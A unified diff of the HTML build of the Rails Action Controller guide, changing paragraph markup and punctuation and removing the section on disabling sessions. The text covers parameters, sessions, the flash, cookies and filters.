-<div class="para"><p>As an example, if a user goes to <tt>/clients/new</tt> in your application to add a new client, Rails will create an instance of ClientsController and run the <tt>new</tt> method. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new Client:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>There&#8217;s no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.</p></div>
+<div class="paragraph"><p>As an example, if a user goes to <tt>/clients/new</tt> in your application to add a new client, Rails will create an instance of ClientsController and run the <tt>new</tt> method. Note that the empty method from the example above could work just fine because Rails will by default render the <tt>new.html.erb</tt> view unless the action says otherwise. The <tt>new</tt> method could make available to the view a <tt>@client</tt> instance variable by creating a new Client:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -382,14 +211,13 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
<span style="color: #009900">@client</span> <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>new
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <a href="../layouts_and_rendering.html">Layouts &amp; rendering guide</a> explains this in more detail.</p></div>
-<div class="para"><p>ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <a href="../layouts_and_rendering.html">Layouts &amp; rendering guide</a> explains this in more detail.</p></div>
+<div class="paragraph"><p>ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you&#8217;re curious to see what&#8217;s in there, you can see all of them in the API documentation or in the source itself.</p></div>
</div>
<h2 id="_parameters">3. Parameters</h2>
<div class="sectionbody">
-<div class="para"><p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the <tt>params</tt> hash in your controller:</p></div>
+<div class="paragraph"><p>You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It&#8217;s called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the <tt>params</tt> hash in your controller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -423,10 +251,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_hash_and_array_parameters">3.1. Hash and Array Parameters</h3>
-<div class="para"><p>The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:</p></div>
+<div class="paragraph"><p>The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>GET /clients?ids[]=1&amp;ids[]=2&amp;ids[]=3</tt></pre>
@@ -436,11 +263,11 @@ http://www.gnu.org/software/src-highlite -->
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&amp;ids%5b%5d=2&amp;ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.</td>
+<td class="content">The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&amp;ids%5b%5d=2&amp;ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don&#8217;t have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.</td>
</tr></table>
</div>
-<div class="para"><p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p></div>
-<div class="para"><p>To send a hash you include the key name inside the brackets:</p></div>
+<div class="paragraph"><p>The value of <tt>params[:ids]</tt> will now be <tt>["1", "2", "3"]</tt>. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.</p></div>
+<div class="paragraph"><p>To send a hash you include the key name inside the brackets:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;form action="/clients" method="post"&gt;
@@ -450,10 +277,10 @@ http://www.gnu.org/software/src-highlite -->
&lt;input type="text" name="client[address][city]" value="Carrot City" /&gt;
&lt;/form&gt;</tt></pre>
</div></div>
-<div class="para"><p>The value of <tt>params[:client]</tt> when this form is submitted will be <tt>{"name" &#8658; "Acme", "phone" &#8658; "12345", "address" &#8658; {"postcode" &#8658; "12345", "city" &#8658; "Carrot City"}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p></div>
-<div class="para"><p>Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.</p></div>
+<div class="paragraph"><p>The value of <tt>params[:client]</tt> when this form is submitted will be <tt>{"name" =&gt; "Acme", "phone" =&gt; "12345", "address" =&gt; {"postcode" =&gt; "12345", "city" =&gt; "Carrot City"}}</tt>. Note the nested hash in <tt>params[:client][:address]</tt>.</p></div>
+<div class="paragraph"><p>Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.</p></div>
<h3 id="_routing_parameters">3.2. Routing Parameters</h3>
-<div class="para"><p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the <tt>:status</tt> parameter in a "pretty" URL:</p></div>
+<div class="paragraph"><p>The <tt>params</tt> hash will always contain the <tt>:controller</tt> and <tt>:action</tt> keys, but you should use the methods <tt>controller_name</tt> and <tt>action_name</tt> instead to access these values. Any other parameters defined by the routing, such as <tt>:id</tt> will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the <tt>:status</tt> parameter in a "pretty" URL:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -461,11 +288,10 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
map<span style="color: #990000">.</span>connect <span style="color: #FF0000">"/clients/:status"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>foo <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"bar"</span>
-<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this case, when a user opens the URL <tt>/clients/active</tt>, <tt>params[:status]</tt> will be set to "active". When this route is used, <tt>params[:foo]</tt> will also be set to "bar" just like it was passed in the query string in the same way <tt>params[:action]</tt> will contain "index".</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In this case, when a user opens the URL <tt>/clients/active</tt>, <tt>params[:status]</tt> will be set to "active". When this route is used, <tt>params[:foo]</tt> will also be set to "bar" just like it was passed in the query string in the same way <tt>params[:action]</tt> will contain "index".</p></div>
<h3 id="_tt_default_url_options_tt">3.3. <tt>default_url_options</tt></h3>
-<div class="para"><p>You can set global default parameters that will be used when generating URLs with <tt>default_url_options</tt>. To do this, define a method with that name in your controller:</p></div>
+<div class="paragraph"><p>You can set global default parameters that will be used when generating URLs with <tt>default_url_options</tt>. To do this, define a method with that name in your controller:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>class ApplicationController &lt; ActionController::Base
@@ -477,12 +303,12 @@ map<span style="color: #990000">.</span>connect <span style="color: #FF0000">"/c
end</tt></pre>
</div></div>
-<div class="para"><p>These options will be used as a starting-point when generating, so it's possible they'll be overridden by <tt>url_for</tt>. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.</p></div>
+<div class="paragraph"><p>These options will be used as a starting-point when generating, so it&#8217;s possible they&#8217;ll be overridden by <tt>url_for</tt>. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.</p></div>
</div>
<h2 id="_session">4. Session</h2>
<div class="sectionbody">
-<div class="para"><p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:</p></div>
+<div class="ulist"><ul>
<li>
<p>
CookieStore - Stores everything on the client.
@@ -504,62 +330,28 @@ ActiveRecordStore - Stores the data in a database using Active Record.
</p>
</li>
</ul></div>
-<div class="para"><p>All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).</p></div>
-<div class="para"><p>Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.</p></div>
-<div class="para"><p>Read more about session storage in the <a href="../security.html">Security Guide</a>.</p></div>
-<div class="para"><p>If you need a different session storage mechanism, you can change it in the <tt>config/environment.rb</tt> file:</p></div>
+<div class="paragraph"><p>All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can&#8217;t use the query string to pass a session ID) because of security concerns (it&#8217;s easier to hijack a session when the ID is part of the URL).</p></div>
+<div class="paragraph"><p>Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.</p></div>
+<div class="paragraph"><p>Read more about session storage in the <a href="../security.html">Security Guide</a>.</p></div>
+<div class="paragraph"><p>If you need a different session storage mechanism, you can change it in the <tt>config/environment.rb</tt> file:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]</span></span>
-config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>session_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>active_record_store
-</tt></pre></div></div>
-<h3 id="_disabling_the_session">4.1. Disabling the Session</h3>
-<div class="para"><p>Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the <tt>session</tt> class method in your controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ApplicationController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
- session <span style="color: #990000">:</span>off
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also turn the session on or off for a single controller:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># The session is turned off by default in ApplicationController, but we</span></span>
-<span style="font-style: italic"><span style="color: #9A1900"># want to turn it on for log in/out.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> LoginsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
- session <span style="color: #990000">:</span>on
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Or even for specified actions:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ProductsController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
- session <span style="color: #990000">:</span>on<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>create<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_accessing_the_session">4.2. Accessing the Session</h3>
-<div class="para"><p>In your controller you can access the session through the <tt>session</tt> instance method.</p></div>
+config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>session_store <span style="color: #990000">=</span> <span style="color: #990000">:</span>active_record_store</tt></pre></div></div>
+<h3 id="_accessing_the_session">4.1. Accessing the Session</h3>
+<div class="paragraph"><p>In your controller you can access the session through the <tt>session</tt> instance method.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">There are two <tt>session</tt> methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.</td>
+<td class="content">Sessions are lazily loaded. If you don&#8217;t access sessions in your action&#8217;s code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.</td>
</tr></table>
</div>
-<div class="para"><p>Session values are stored using key/value pairs like a hash:</p></div>
+<div class="paragraph"><p>Session values are stored using key/value pairs like a hash:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -576,9 +368,8 @@ private
<span style="color: #009900">@_current_user</span> <span style="color: #990000">||=</span> session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">]</span> <span style="color: #990000">&amp;&amp;</span> User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>current_user_id<span style="color: #990000">])</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To store something in the session, just assign it to the key like a hash:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To store something in the session, just assign it to the key like a hash:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -595,9 +386,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To remove something from the session, assign that key to be <tt>nil</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To remove something from the session, assign that key to be <tt>nil</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -612,11 +402,10 @@ http://www.gnu.org/software/src-highlite -->
redirect_to root_url
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To reset the entire session, use <tt>reset_session</tt>.</p></div>
-<h3 id="_the_flash">4.3. The flash</h3>
-<div class="para"><p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To reset the entire session, use <tt>reset_session</tt>.</p></div>
+<h3 id="_the_flash">4.2. The flash</h3>
+<div class="paragraph"><p>The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let&#8217;s use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -630,9 +419,8 @@ http://www.gnu.org/software/src-highlite -->
redirect_to root_url
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>destroy</tt> action redirects to the application's <tt>root_url</tt>, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>destroy</tt> action redirects to the application&#8217;s <tt>root_url</tt>, where the message will be displayed. Note that it&#8217;s entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It&#8217;s conventional to display eventual errors or notices from the flash in the application&#8217;s layout:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>&lt;html&gt;
@@ -648,8 +436,8 @@ http://www.gnu.org/software/src-highlite -->
&lt;/body&gt;
&lt;/html&gt;</tt></pre>
</div></div>
-<div class="para"><p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p></div>
-<div class="para"><p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p></div>
+<div class="paragraph"><p>This way, if an action sets an error or a notice message, the layout will display it automatically.</p></div>
+<div class="paragraph"><p>If you want a flash value to be carried over to another request, use the <tt>keep</tt> method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -665,10 +453,9 @@ http://www.gnu.org/software/src-highlite -->
redirect_to users_url
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h4 id="_tt_flash_now_tt">4.3.1. <tt>flash.now</tt></h4>
-<div class="para"><p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h4 id="_tt_flash_now_tt">4.2.1. <tt>flash.now</tt></h4>
+<div class="paragraph"><p>By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the <tt>create</tt> action fails to save a resource and you render the <tt>new</tt> template directly, that&#8217;s not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use <tt>flash.now</tt> in the same way you use the normal <tt>flash</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -686,12 +473,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_cookies">5. Cookies</h2>
<div class="sectionbody">
-<div class="para"><p>Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which - much like the <tt>session</tt> - works like a hash:</p></div>
+<div class="paragraph"><p>Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the <tt>cookies</tt> method, which - much like the <tt>session</tt> - works like a hash:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -721,13 +507,12 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that while for session values you set the key to <tt>nil</tt>, to delete a cookie value you should use <tt>cookies.delete(:key)</tt>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Note that while for session values you set the key to <tt>nil</tt>, to delete a cookie value you should use <tt>cookies.delete(:key)</tt>.</p></div>
</div>
<h2 id="_filters">6. Filters</h2>
<div class="sectionbody">
-<div class="para"><p>Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:</p></div>
+<div class="paragraph"><p>Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -753,9 +538,8 @@ private
<span style="color: #990000">!!</span>current_user
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the <tt>before_filter</tt> method:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the <tt>before_filter</tt> method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -765,9 +549,8 @@ http://www.gnu.org/software/src-highlite -->
before_filter <span style="color: #990000">:</span>require_login
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with <tt>skip_before_filter</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn&#8217;t be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with <tt>skip_before_filter</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -777,11 +560,10 @@ http://www.gnu.org/software/src-highlite -->
skip_before_filter <span style="color: #990000">:</span>require_login<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>new<span style="color: #990000">,</span> <span style="color: #990000">:</span>create<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now, the LoginsController's <tt>new</tt> and <tt>create</tt> actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Now, the LoginsController&#8217;s <tt>new</tt> and <tt>create</tt> actions will work as before without requiring the user to be logged in. The <tt>:only</tt> option is used to only skip this filter for these actions, and there is also an <tt>:except</tt> option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.</p></div>
<h3 id="_after_filters_and_around_filters">6.1. After Filters and Around Filters</h3>
-<div class="para"><p>In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.</p></div>
+<div class="paragraph"><p>In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that&#8217;s about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter&#8217;s way of stopping it.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -802,11 +584,10 @@ private
<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h3 id="_other_ways_to_use_filters">6.2. Other Ways to Use Filters</h3>
-<div class="para"><p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p></div>
-<div class="para"><p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritten to use a block:</p></div>
+<div class="paragraph"><p>While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.</p></div>
+<div class="paragraph"><p>The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the <tt>require_login</tt> filter from above could be rewritten to use a block:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -816,10 +597,9 @@ http://www.gnu.org/software/src-highlite -->
before_filter <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>controller<span style="color: #990000">|</span> redirect_to new_login_url <span style="font-weight: bold"><span style="color: #0000FF">unless</span></span> controller<span style="color: #990000">.</span>send<span style="color: #990000">(:</span>logged_in?<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p></div>
-<div class="para"><p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Note that the filter in this case uses <tt>send</tt> because the <tt>logged_in?</tt> method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.</p></div>
+<div class="paragraph"><p>The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
